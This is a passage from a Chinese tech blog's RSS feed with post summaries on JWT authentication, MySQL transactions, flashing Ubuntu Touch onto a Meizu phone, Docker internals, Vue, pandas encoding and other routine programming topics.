是有状态的，需要后端每次去检索id的有效性。不同的session都需要进行保存，但也可以设置单点登录，减少保存的数据。&#xA;session与token的选择是空间与时间博弈，为什么这么说呢，是因为token不需要保存，不占存储空间，但每次访问都需要进行解密，消耗了一定的时间。&#xA;在一般的前后端分离项目中，token展现出了它的优势，成为了比session更好的选择&#xA;JWT JWT其实就是一种被广泛使用的token，它的全称是JSON Web Token，它通过数字签名的方式，以JSON对象为载体，在不同的服务终端之间安全地传输信息。&#xA;JWT最常见的使用场景就是授权认证，一旦用户登录，后续每个请求都将包含JWT，系统在每次处理用户请求之前，都要先进行JWT安全校验，通过之后再进行处理。&#xA;JWT由3部分组成，用.拼接，如：&#xA;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ&#xA;这三部分分别是：&#xA;Header&#xA;Header中保存了令牌类型type和所使用的的加密算法，例如：&#xA;{&#xA;‘typ’: ‘JWT’,&#xA;‘alg’: ‘HS256’&#xA;}&#xA;Payload&#xA;Payload中包含的是请求体和其它一些数据，例如包含了和用户相关的一些信息&#xA;{&#xA;“sub”: “1234567890”,&#xA;“name”: “John Doe”,</description>
    </item>
    <item>
      <title>mysql 事务原理详解</title>
      <link>https://bchobby.github.io/posts/64e25e7b6524bd9824b23818fc592035/</link>
      <pubDate>Fri, 29 Jul 2022 18:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64e25e7b6524bd9824b23818fc592035/</guid>
      <description>前言 事务是mysql Innodb引擎的一大特点，可以说，在日常开发中，对于mysql事务的使用无处不在，因此深入了解并掌握mysql的事务原理很有必要。&#xA;一、mysql事务简介 事务 是一组操作集合，一个不可分割的工作单位；事务会将所有操作作为一个整体，一起向系统提交或撤销操作请求，这些操作要么同时成功，要么同时失败； 比如 : 张三给李四转账1000块钱，张三银行账户减少1000元，而李四银行账户的钱要增加1000元。 这一组操作就必须在一个事务的范围内，要么都成功，要么都失败&#xA;二、事务四大特性 是事务的四大特性，简称ACID&#xA;原子性（Atomicity）：事务是不可分割的最小操作单元，要么全部成功，要么全部失败；一致性（Consistency）：事务完成时，必须使所有的数据都保持一致状态；隔离性（Isolation）：数据库系统提供的隔离机制，保证事务在不受外部并发操作影响的独立环境下运行；持久性（Durability）：事务一旦提交或回滚，它对数据库中的数据的改变就是永久的； 三、事务案例演示 下面来模拟一个事务操作，准备如下一张表，并初始化两条数据，来模拟转账的事务操作；&#xA;1） 测试一个正常的操作&#xA;-- 1. 查询张三余额 select * from account where name = &#39;张三&#39;; -- 2. 张三余额减1000 update account set money = money - 1000 where name = &#39;张三&#39;; -- 3. 李四余额加1000 update account set money = money + 1000 where name = &#39;李四&#39;; 执行完成后，可以看到效果是预期的；&#xA;2）测试异常情况&#xA;-- 1. 查询张三余额 select * from account where name = &#39;张三&#39;; -- 2.</description>
    </item>
    <item>
      <title>报表fastreport</title>
      <link>https://bchobby.github.io/posts/be9af0400ebbc4dfca24111132186b27/</link>
      <pubDate>Fri, 29 Jul 2022 18:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9af0400ebbc4dfca24111132186b27/</guid>
      <description>https://blog.csdn.net/fjseryi/article/details/12558621&#xA;报表fastreport - 麦麦提敏 - 博客园 (cnblogs.com)&#xA;本节主要讲述FastReport报表系统的基本概念、基本操作方法、基本控件使用等内容。&#xA;基本概念&#xA;最主要的概念是FastReport报表的组成方式和控件主要用途，它一般包括以下方面： *页面(Page) --- 默认为Page1&#xA;与我们现实中使用的纸张相似。但它不仅仅指的是一张纸，而是用于我们设计报表的容器。打印出来可以是一张纸也可以是多张。页面(Page)可以有多个（你可以新增页面New Page），即可以有多个报表容器。利用这一点，你可以设计出复合报表（Composite Report）。 利用页面设置可以定义大小、方向、边界、打印方式、分栏等参数。这里不再详述，只特别强调分栏的作用。你可以将页面分成多栏，这样打印时数据将按照从上到下，再从左往右的方式显示。这就是我们通常说的分栏报表（Splite Report）。 *区域(Band)&#xA;FastReport将整个页面划分成若干个区域。而每个区域有着各自不同的功能，这些功能由FastReport自动加载。一个页面中可以没有区域，也可以只有其中的某些区域，这根据报表的需求而定。放置在页面中的区域有范围，落入区域范围内的控件（例如：TextObject）才具有区域的功能。 重要的区域包括： #报表抬头(ReportTitle)&#xA;仅在第一页显示在纸张的上部。一般用于打印报表的标题等信息。&#xA;#报表合计(ReprotSummary)&#xA;仅显示在所有数据的最后末尾。一般用于打印统计信息等。 #页首(PageHeader)&#xA;显示在每页的最上部。通过设置你可以让它置于报表抬头之上或者之下。一般用于打印页眉信息等。 #页脚(PageFooter)&#xA;显示在每页的最底部。一般用于打印页序等信息。 #主数据(MasterData)&#xA;用于显示数据源的数据，是最重要的区域。在该区域中可以定义连接哪一个数据源，那么该数据源的数据将会按顺序依次将记录打印出。 数据区域还有明细数据(DetailData)等，一共支持6阶数据。利用明细数据可以设计出主从报表、主-细-子细报表等。例如：各类单据的打印报表就是由单据头（主数据）和单据体（明细数据）共同完成的。 在打印时，明细一级的数据是受上一级主数据的控制，因此需要进行相关设置。 #头(Header)&#xA;显示在所有数据源的最上部，仅打印一次。一般用于显示相关摘要信息。 #尾(Footer)&#xA;显示在所有数据源的最下部，仅打印一次。一般用于显示所有数据的合计信息。 #栏首(ColumnHeader)&#xA;显示在每页数据源的上部，它在每页均显示。因此一般用于打印数据源字段的栏目信息。 #栏尾(ColumnHeader)&#xA;显示在每页数据源的下部，它在每页均显示。一般可用于统计显示每页数据的页合计信息。 #群组首(GroupHeader)&#xA;用于显示分组数据，在每一个分组开始显示。一般可用于显示分组索引数据。例如：将商品档案按商品分类分组显示，在群组首你可以显示商品分类名称。利用群组首可以设计出分组报表，关键是数据源必须按分组索引的字段排序才能达到分组的效果。群组首可以有多个，即可以嵌套使用。 另外，可以设置让分组索引数据在报表预览时显示在左侧的树型列表框(OutLine)中。 #群组尾(GroupFooter)&#xA;与群组首一一对应。一般用于显示分组数据的统计信息。 #子(Child)&#xA;是一个独立的区域。你可以设置子区域隶属于上述区域中的任何一个。在打印时，打印完父区域后，子区域将会跟随打印。一般可用于打印装饰线、调整高度或者打印子报表(SubReport)。 #重叠(overlay)&#xA;该区域内包含的内容将从页的开始位置计算打印，而不受其他功能区域的影响。一般用于无法在其他功能区域打印的内容的显示。 *对话框(DialogPage)&#xA;你可以通过设计对话框完成对数据源进行动态控制的目的，这也是设计复杂报表的重要手段。 对话框主要通过各种输入数据控件来接受客户的查询请求，因此可以学习几种主要的控件。 #标签(Label Control) --- 用于显示文字信息。使用Caption属性修改文字信息。 #文本编辑框(Edit Control) --- 用于接收用户录入的文字信息。使用Text属性修改文字信息。 #按钮(Button Control) --- 一般用于确定和取消。使用Caption属性修改文字信息。 #多选框(CheckBox Control) --- 用于用户对条件的选择。使用Checked属性确定是否。 #单选框(RadioButton Control) --- 用于用户对条件的单一选择。使用Checked属性确定是否。 #下拉框(ComboBox Control) --- 用于用户对多个数据列表的选择。使用Text属性修改当前文字信息，使用Items属性填充列表信息。 #时间框(DateEdit Control) --- 用于用户对时间的选择。利用Date属性改变时间。 *文本对象(Text Object)</description>
    </item>
    <item>
      <title>魅族MX4安装Ubuntu Touch 16.04</title>
      <link>https://bchobby.github.io/posts/0821f91196114cde191cc777c022bcc2/</link>
      <pubDate>Fri, 29 Jul 2022 18:01:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0821f91196114cde191cc777c022bcc2/</guid>
      <description>Ubuntu Touch目前仍然有很多的缺陷，其中网络问题在16.04中就比较严重，会表现为高延迟和丢包&#xA;魅族MX4安装Ubuntu Touch 16.04 请注意自行备份数据 1、手机flyme降级 先降级至4.5.7A，再降级到4.2.8.2A 将固件拷贝到存储卡根目录→关机→同时按电源键和音量加键，进入系统升级模式；勾选“系统更新”，同时勾选“清除数据”，点击“开始”进行系统升级；系统升级时，请勿关机；系统升级完成后，手机会自动启动；进入系统设置→关于手机查看系统版本。 1、获取手机root权限 推荐使用kingoroot PC端(注意不是kingroot)，可以顺利root，使用官方账号解锁的办法已经不可用&#xA;2、解锁bootloader和刷入第三方recovery 安装“魅族手机综合工具箱”中unlock.apk（ApkIDE_MX4_Unlock_BL.apk），一键解锁，同时会刷入第三方recovery，注意需要上一步获取的root权限&#xA;3、重新划分cache、userdata、system分区大小 按住音量+和电源键，重启进入recovery模式&#xA;运行adb进行分区，分区之前在recovery中卸载data，cache和system分区&#xA;# 查看设备,注意驱动安装不正确会不显示消息,到win10可选驱动中安装fastboot等驱动 adb devices # 进入shell adb shell # 查看分区信息 parted /dev/block/mmcblk0 unit MB print # 删除分区 rm 16 rm 15 rm 14 # 重新分区 mkpartfs system ext2 629 2677 name 14 system mkpartfs cache ext4 2677 4725 name 15 cache # 注意32G版本最后为31251 mkpartfs userdata ext4 4725 15617 name 16 userdata recovery设置中依次格式化cache，system，data(data要选格式化包括内置储存的一项）</description>
    </item>
    <item>
      <title>yolov5依赖库安装</title>
      <link>https://bchobby.github.io/posts/c71d600874e0aa27c3fc8ac39713400e/</link>
      <pubDate>Fri, 29 Jul 2022 14:17:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c71d600874e0aa27c3fc8ac39713400e/</guid>
      <description>上一篇文章中已经在Anaconda中建立了一个pytorch的虚拟环境，在这个环境中安装yolov5的依赖库。（其实应该新建一个虚拟环境，在这个里面安装依赖库）&#xA;进入Anaconda Prompt，激活pytorch虚拟环境&#xA;将requirements.txt放在C盘用户文件夹下&#xA;否则会提示找不到文件&#xA;输入下面的安装命令&#xA;pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple --ignore-installed 安装结束出显示安装了那些包&#xA;这样就将yolov5所需的依赖库安装在了Anaconda中创建的虚拟环境中了。&#xA;ps：用国内源安装速度挺快的，不要自己下载.whl文件安装，不然各个包的版本之间可能会出现很多问题。&#xA;安装过程中遇到的问题 用上面的方法安装应该不会遇到什么问题，记录一下自己安装环境过程中走的弯路。&#xA;1 最初安装环境的时候是在pycharm中打开Terminal，直接输入pip install -r requirements.txt 进行安装，这样做的问题主要有：&#xA;1）依赖库不是安装在虚拟环境中，因此安装之后运行yolov5也会报错，要求安装所需的以来库，因为python是安装在虚拟环境中的；&#xA;2）此时使用的是国外的网站，网速很慢，很容易断。&#xA;2 因为前期需要依赖库是自己下载.whl文件手动安装的，出现很多问题，比如：&#xA;twisted 18.7.0 requires PyHamcrest&amp;gt;=1.9.0, which is not installed.&#xA;cryptography 3.3.2 requires cffi&amp;gt;=1.12, which is not installed.&#xA;conda 4.13.0 requires ruamel_yaml_conda&amp;gt;=0.11.14, which is not installed.&#xA;这个问题是说twisted 18.7.0 等需要的库没有安装，可以用pip安装（此时不需要添加国内源链接）&#xA;pip install PyHamcrest&amp;gt;=1.9.0&#xA;pip install cffi&amp;gt;=1.12&#xA;但是安装ruamel_yaml_conda&amp;gt;=0.11.14时用pip安装会报错（并没有解决）&#xA;也可能出现下面的问题&#xA;cryptography 3.3.2 requires cffi&amp;gt;=1.12, but you have cffi 1.</description>
    </item>
    <item>
      <title>chrome屏蔽右上角更新提示</title>
      <link>https://bchobby.github.io/posts/b00ddf4e00c4e63f62096031e6652ad7/</link>
      <pubDate>Fri, 29 Jul 2022 11:02:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b00ddf4e00c4e63f62096031e6652ad7/</guid>
      <description>win10/11系统chrome浏览器屏蔽右上角更新提示 位于桌面或开始菜单的快捷方式位于任务栏的快捷方式 chrome浏览器新版本可能对一些旧代码的兼容性没有老版本的好，安装旧版本的chrome浏览器右上角一直弹出更新提示，每次都得手动关闭，迟早会被逼成强迫症，真是叔叔不可忍，婶婶也不可忍。 话不多说，莽他！&#xA;位于桌面或开始菜单的快捷方式 1. 右键–&amp;gt;更多–&amp;gt;打开文件位置&#xA;2. 右键快捷方式，选择“属性”，在“快捷方式”下“目标”一栏末尾添加上 –disable-background-networking（前面有个空格隔开），应用。&#xA;C:\Users\27462\AppData\Local\Google\Chrome\Application\chrome.exe --disable-background-networking&#xA;位于任务栏的快捷方式 任务栏的快捷方式位置和开始菜单的路径是不同的，可以通过如下方式找到任务栏的快捷方式路径：&#xA;1. 直接使用提供的路径&#xA;任务栏路径：C:\Users\用户名\AppData\Local\Google\Chrome\Application&#xA;开始菜单路径：C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs&#xA;2. 手动查找&#xA;关闭chrome，按住Shift键，右键chrome，选择“属性”&#xA;右键快捷方式，选择“属性”，在“快捷方式”下“目标”一栏末尾添加上 –disable-background-networking，应用。 注意：若win11系统不生效，可以选择在目标那一栏的启动方式前后加上半角双引号（英文输入法模式下的双引号），即：&#xA;“C:\Users\27462\AppData\Local\Google\Chrome\Application\chrome.exe” --disable-background-networking</description>
    </item>
    <item>
      <title>RMAN备份详解</title>
      <link>https://bchobby.github.io/posts/9eb0d1ab4f5b732ee715d7538862bf48/</link>
      <pubDate>Fri, 29 Jul 2022 10:08:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9eb0d1ab4f5b732ee715d7538862bf48/</guid>
      <description>认识RMAN RMAN（Recovery Manager）是ORACLE恢复管理器的简称，是集数据库备份（backup）、还原（restore）和恢复（recover）于一体的工具。接下来了解一下RMAN中的几个重要概念。&#xA;（1）RMAN档案资料库 RMAN档案资料库用于存储数据库备份、还原以及恢复操作时所需要的信息。这些信息包括从目标数据库控制文件获取的数据库物理结构信息，以及RMAN备份与恢复过程中生成的信息。RMAN档案资料库可以保存在目标数据库的控制文件中，也可以保存在一个独立的恢复目录数据库的恢复目录中。&#xA;（1.1） 将RMAN档案资料库保存在控制文件中 控制文件包括不可重用的记录和可重用的记录，不可重用的记录主要是数据文件、联机重做日志文件等不经常变化的、关键性的信息；可重用的是记录数据库运行过程中不断生成的信息，包括重做日志文件的历史信息、已归档的重做日志文件的历史信息、备份信息等。&#xA;（1.2） 将RMAN档案资料库保存在恢复目录中 如果要使用恢复目录保存RMAN档案资料库，需要先创建一个独立于目标数据库的恢复目录数据库，专门用来存储和管理RMAN档案资料库信息。一个恢复目录可以被多个目标数据库使用，只要将目标数据库注册到恢复目录中即可。&#xA;RMAN恢复目录主要包括以下信息：&#xA;--目标数据库的数据文件与归档重做日志文件的备份信息；&#xA;--目标数据据库数据文件的镜像复制信息；&#xA;--目标数据库中表空间与数据文件的关系；&#xA;--存储用户建立的RMAN脚本，可以重复使用；&#xA;--永久性的RMAN预定义配置参数信息。&#xA;（2）RMAN通道 在RMAN中进行任何类型的备份、修复或恢复操作时，都需要为这些操作分配通道，一个RMAN通道表示到一个存储设备的数据流，对应目标数据库的一个进程，由服务器进程来完成数据库的备份与恢复工作。RMAN支持的通道设备类型包括磁盘（Disk）与SBT（System Backup To Tape）。SBT是指第三方介质管理器管理与控制的存储备份，主要是磁带库和磁带驱动器。&#xA;（3）RMAN预定义配置参数 RMAN环境中有一系列的预定义配置参数，又称为RMAN环境变量，自动作用于所有的RMAN会话。可以使用show all命令查看预定义参数的配置&#xA;RMAN&amp;gt; show all;&#xA;CONFIGURE RETENTION POLICY TO REDUNDANCY 2; #设置备份保留策略&#xA;CONFIGURE BACKUP OPTIMIZATION OFF; # default #启用或禁用优化功能&#xA;CONFIGURE DEFAULT DEVICE TYPE TO DISK; # default #设置默认的备份类型&#xA;CONFIGURE CONTROLFILE AUTOBACKUP OFF; # default #设置控制文件自动备份&#xA;CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO &#39;%F&#39;; # default #控制文件自动备份的格式</description>
    </item>
    <item>
      <title>ESP32 入门篇（一）使用 VS Code 进行开发环境安装</title>
      <link>https://bchobby.github.io/posts/05058c0e7189913183d9a25c8d79eb09/</link>
      <pubDate>Thu, 28 Jul 2022 23:04:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05058c0e7189913183d9a25c8d79eb09/</guid>
      <description>VS Code 是什么 官方介绍如下：&#xA;::: block-1&#xA;Visual Studio Code is a lightweight but powerful source code editor which runs on your desktop and is available for Windows, macOS and Linux. It comes with built-in support for JavaScript, TypeScript and Node.js and has a rich ecosystem of extensions for other languages and runtimes (such as C++, C#, Java, Python, PHP, Go, .NET). Begin your journey with VS Code with these introductory videos.</description>
    </item>
    <item>
      <title>我理解的算法 - 53.最大子数组和（超经典多种解法：强推、动态规划、Kadane算法）</title>
      <link>https://bchobby.github.io/posts/e875013c0faef8c6d8f75581616499be/</link>
      <pubDate>Thu, 28 Jul 2022 09:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e875013c0faef8c6d8f75581616499be/</guid>
      <description>我理解的算法 - 53.最大子数组和（超经典多种解法：强推、动态规划、Kadane算法） 题目暴力解法（超时）强推解答法动态规划Kadane算法 题目 给你一个整数数组 nums ，请你找出一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。&#xA;子数组 是数组中的一个连续部分。&#xA;示例 1：&#xA;输入：nums = [-2,1,-3,4,-1,2,1,-5,4] 输出：6 解释：连续子数组 [4,-1,2,1] 的和最大，为 6 。&#xA;示例 2：&#xA;输入：nums = [1] 输出：1&#xA;示例 3：&#xA;输入：nums = [5,4,-1,7,8] 输出：23&#xA;提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 105&#xA;-104 &amp;lt;= nums[i] &amp;lt;= 104&#xA;进阶：如果你已经实现复杂度为 O(n) 的解法，尝试使用更为精妙的 分治法 求解。&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode.cn/problems/maximum-subarray&#xA;暴力解法（超时） 这道题目也是非常经典，虽为简单题，其实如果推敲其中的解题方法，着实不简单，会有很多惊喜，&#xA;我们先从题目出发，顺着题目来解，最容易想到的肯定是暴力解法&#xA;我们组合出来所有的子数组，并计算其每个子数组的和，然后取最大的值即为答案，直接上代码&#xA;public int maxSubArray(int[] nums) { int maxSum = nums[0]; for(int i = 0; i &amp;lt; nums.</description>
    </item>
    <item>
      <title>实现OCR语言识别Demo（二）- 图片及识别内容的展现和交互</title>
      <link>https://bchobby.github.io/posts/855addc7820b2053880e53bc03185854/</link>
      <pubDate>Thu, 28 Jul 2022 08:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/855addc7820b2053880e53bc03185854/</guid>
      <description>实现OCR语言识别Demo（二）- 图片及识别内容的展现和交互 实现图片展现OCR识别内容的绘制OCR识别内容的点击效果实现 上一篇文章中（想要回顾的可以看这里），我们实现了BottomSheet，那么这篇文章中，我们要来实现图片展现及识别内容展现了&#xA;实现图片展现 我们有2种方式去选择我们的图片，一种是通过选择本地的相册的图片，另一种是通过拍照获得，我们来实现这两种方式&#xA;MainActivity.kt&#xA;override fun onCreate(savedInstanceState: Bundle?) { ... super.onCreate(savedInstanceState) bindListeners() ... } private fun bindListeners() { open_take_pic.setOnClickListener { takeImage() } open_select_image.setOnClickListener { selectImageFromGallery() } } private val takeImageResult = registerForActivityResult(ActivityResultContracts.TakePicture()) { isSuccess -&amp;gt; if (isSuccess) { latestTmpUri?.let { _ -&amp;gt; CoroutineScope(Dispatchers.IO).launch { val compressedImageFile = Compressor.compress( applicationContext, takeImageTempFile!! ) image_preview.clearOcrBoxes() adapter.submitList(mutableListOf()) previewPhoto(compressedImageFile) postImage(compressedImageFile) } } } } private val selectImageFromGalleryResult = registerForActivityResult(ActivityResultContracts.GetContent()) { uri: Uri?</description>
    </item>
    <item>
      <title>Origin(Pro)：3D图-投影、垂线、标签</title>
      <link>https://bchobby.github.io/posts/65b47dd2a36081244fa02072d2d99a2c/</link>
      <pubDate>Thu, 28 Jul 2022 00:01:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65b47dd2a36081244fa02072d2d99a2c/</guid>
      <description>以XYZ形式的数据为例，Country列为标签。&#xA;插入3D Scatter图，首先设置散点的颜色、大小等格式。&#xA;三维图的投影（Projection）、垂线（Drop lines）和标签（Label）均在Plot Details对话框下设置。&#xA;1、投影（Projection）：在Plot Details对话框下，勾选Original下面的Projiection选项，即可在坐标屏幕上显示散点的投影（Projection），同样可以设置投影（Projection）点的大小、颜色等格式。&#xA;2、垂线（Drop lines）：在Drop Lines选项卡下，勾选Parallel to X/Y/Z Axis，同样可以设置垂线（Drop lines）的颜色等格式。&#xA;3、标签（Label）：在Label选项卡下，勾选Enable显示标签，Label from中选择Col(G): Country，即以G列数据为标签。同样可以设置标签的颜色、字体、位置、旋转角度以及Leader Line等。</description>
    </item>
    <item>
      <title>linux 模糊删除批量文件</title>
      <link>https://bchobby.github.io/posts/dc410ee6a130c24bc122cb7d8c8de03f/</link>
      <pubDate>Wed, 27 Jul 2022 18:05:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc410ee6a130c24bc122cb7d8c8de03f/</guid>
      <description>批量模糊删除：find . -name &#39;error*.log&#39; | xargs rm 删除当前目录下的日志文件</description>
    </item>
    <item>
      <title>vue计算属性与监听器</title>
      <link>https://bchobby.github.io/posts/0b61ee41fb5a51f2eec4333b5b2690b7/</link>
      <pubDate>Wed, 27 Jul 2022 17:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b61ee41fb5a51f2eec4333b5b2690b7/</guid>
      <description>一.计算属性 1.定义:要用的属性不存在,要通过已有属性计算得来。&#xA;2.原理:底层借助了objcet.defineproperty方法提供的getter和setter.&#xA;3.get函数什么时候执行?&#xA;(1).初次读取时会执行一次。&#xA;(2).当依赖的数据发生改变时会被再次调用。&#xA;4.优势:与methods实现相比，内部有缓存机制（复用），效率更高，调试方便.&#xA;5.备注:&#xA;1.计算属性最终会出现在vm上，直接读取使用即可。&#xA;2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../vue2.0+3.0/vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 计算属性: 1.定义:要用的属性不存在,要通过已有属性计算得来。 2.原理:底层借助了objcet.defineproperty方法提供的getter和setter. 3.get函数什么时候执行? (1).初次读取时会执行一次。 (2).当依赖的数据发生改变时会被再次调用。 4.优势:与methods实现相比，内部有缓存机制（复用），效率更高，调试方便. 5.备注: 1.计算属性最终会出现在vm上，直接读取使用即可。 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。 --&amp;gt; &amp;lt;div id=&#34;root&#34;&amp;gt; 姓：&amp;lt;input type=&#34;text&#34; v-model=&#34;firstName&#34;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt; 名：&amp;lt;input type=&#34;text&#34; v-model=&#34;lastName&#34;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt; 全名：&amp;lt;span&amp;gt;{{fullName}}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; Vue.config.productionTip = false;//阻止 vue 在启动时生成生产程序 const vm = new Vue({ el:&#39;#root&#39;, data:{ firstName:&#39;张&#39;, lastName:&#39;三&#39; }, computed:{ fullName:{ //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值 // get什么时候调用？1.</description>
    </item>
    <item>
      <title>机械革命开启Hyper-V安装Docker无限蓝屏(已解决)</title>
      <link>https://bchobby.github.io/posts/4e084930f67ce61a08ff778beb61ab6e/</link>
      <pubDate>Wed, 27 Jul 2022 15:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e084930f67ce61a08ff778beb61ab6e/</guid>
      <description>安装Docker时会蓝屏&#xA;安装Docker时会蓝屏，起初以为是docker/系统问题，后来经过仔细的检查，发现是只要开启虚拟化就会蓝屏，再检查好像硬件虚拟化有点问题，一番查找之后方知是bios的问题&#xA;CODE01需要升级到1.07版本&#xA;官方地址：https://www.mechrevo.com/service/&#xA;BIOS版本升级，只需要管理员身份运行F.bat脚本即可。接下来就是等待脚本自动运行重启，如遇到蓝屏问题，及时询问官方客服。如果还是蓝屏，BIOS重新恢复默认设置，设置Lanch cms 保存重启即可&#xA;参考：https://blog.csdn.net/wujuncheng1996/article/details/118438161</description>
    </item>
    <item>
      <title>python/Pytharm 常用快捷键</title>
      <link>https://bchobby.github.io/posts/3ec026981095773da2336db5af59ca20/</link>
      <pubDate>Wed, 27 Jul 2022 15:31:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ec026981095773da2336db5af59ca20/</guid>
      <description>python入门 常用快捷键 快捷键功能快捷键功能ctrl+z撤销上一级命令（Pytharm页面中View-&amp;gt;Appearance-&amp;gt;Toolbar调出该功能）Ctrl+Shift+Z还原撤销的命令Ctrl+Q快速查看文档Ctrl+ F1显示错误描述或警告信息Ctrl+/行注释(可选中多行)Ctrl + Alt+L代码格式化ctrl+alt+左箭头返回上一个光标的位置(CTRL进入函数后返回)ctrl+alt+右箭头前进到后一个光标的位置Ctrl+Alt+I自动缩进Ctrl + Alt +o自动导入Ctrl+Shift+F7讲当前单词在整个文件中高亮，F3移动到下一个，ESC取消高亮Ctrl+C/Ctrl+lnsert复制当前行或选定的代码块到剪贴板Tab / Shift + Tab缩进、不缩进当前行（可选中多行)Ctrl + Shift +/块注释Ctrl+ D复制选定的区域Shift + Enter换行Ctrl + J插入模版Ctrl+Delete删除到字符结束Ctrl + Numpad+全部展开Ctrl + Numpad-全部折叠Ctrl + Backspace删除到字符开始ctrl+B/鼠标左键车专到方法定义处Alt+ up/down方法上移或下移动Alt + Shift + up/down当前行上移或下移动Ctrl +E最近访问的文件Esc从其他窗口回到编辑窗口Shift+ F6方法或变量重命名Shift + Esc隐藏当前窗口，焦点到编辑窗口F12回到先前的工具窗口Shift +F10运行Ctrl + Shift + up快速上移某一行Ctrl + Shift +down快速下移某一行Ctrl + R替换ctrl +F当前文件查找Ctrl + Shift + R全局替换ctrl + Shift+F全局查找 参考链接：&#xA;(3条消息) Pycharm常用的小技巧汇总，Python新手上路必备，快上车！_退休的龙叔的博客-CSDN博客_pycharm使用技巧&#xA;Pycharm常用快捷键 - 知乎 (zhihu.com)</description>
    </item>
    <item>
      <title>Docker (容器) 的原理详解（--超详细--）</title>
      <link>https://bchobby.github.io/posts/83936394bada0927179bcdbf9ec23774/</link>
      <pubDate>Wed, 27 Jul 2022 15:06:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83936394bada0927179bcdbf9ec23774/</guid>
      <description>第一次接触 docker 的人可能都会对它感到神奇，一行 docker run，就能创建出来一个类似虚拟机的隔离环境，里面的依赖都是 reproduceable 的！然而这里面并没有什么魔法，有人说 Docker 并没有发明什么新的技术。确实是，它只不过是将一些 Linux 已经有的功能集合在一起，提供了一个简单的 UI 来创建“容器”。&#xA;这篇文章用来介绍容器的原理。&#xA;什么是一个容器？我们从容器的标准开始说起。&#xA;一、OCI Specification OCI 现在是容器的事实标准，它规定了两部分的标准：&#xA;Image spec：容器如何打包Runtime spec：容器如何运行 Image Spec 容器的运行时是通过 Image 创建的，Image Spec 规定了这个 Image 里面要放什么文件。本质上，一个 Image 就是一个 tar 包。里面一般包含这些内容：&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;├── blobs&#xA;│ └── sha256&#xA;│ ├── 4297f01aae8e36da1ec85e36a3cc5a4b11aa34bcaa1d88cc9ca09469826cb2bf (image.manifest)&#xA;│ └── 7ea0496f252ea46535ea6932dc460cb7d82bfc86875d9d2586b6afa1e8807ad0 (image.config) ├── index.json └── oci-layout&#xA;manifest 里面包含 config 和 layers，其中 config 包含以下内容的配置：&#xA;创建运行时(container)的时候需要的配置；layers的配置image 的 metadata layers 就是组成 rootfs 的一些文件。base 层的 layer 有所有的文件，之后的 layer 只保存基于 base 层的 changes。在创建容器的时候需要打开这个 Image，先找到 base layer，然后将之后的 layer 一个一个地 apply changes，得到最后的 rootfs。</description>
    </item>
    <item>
      <title>pandas - read_csv报错：‘utf-8‘/‘gbk‘ codec can‘t decode byte 0xb1 in position 0:invalid start byte</title>
      <link>https://bchobby.github.io/posts/6c8bab908727caf28a83c77fcfa3369c/</link>
      <pubDate>Wed, 27 Jul 2022 11:32:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c8bab908727caf28a83c77fcfa3369c/</guid>
      <description>文章目录 问题描述原因解决方法 问题描述 桌面上有个Excel文件，转换为csv文件后，导入jupyter notebook，read_csv报错：&#xA;‘utf-8’/‘gbk’ codec can’t decode byte 0xb1 in position 0: invalid start byte&#xA;原因 Excel文件转换为csv文件后，编码格式为 ANSI ，jupyter notebook/python无法读取。&#xA;解决方法 将csv文件编码格式改为UTF-8格式。&#xA;首先，查看csv文件是什么编码格式，如果不是UTF-8，修改后重新上传读取。&#xA;如何查看csv文件是什么编码格式？&#xA;选中文件，右键——&amp;gt;打开方式——&amp;gt;记事本，右下角显示编码格式&#xA;如果编码格式不是“UTF-8”，如何修改？&#xA;记事本——&amp;gt;文件——&amp;gt;另存为，选择UTF-8格式&#xA;import pandas as pd df = pd.read_csv(&#34;XXX.csv&#34;) print(df) 最后，重新导入csv文件，就可以读取数据啦~</description>
    </item>
    <item>
      <title>git log查看提交的Author是由谁决定的呢？</title>
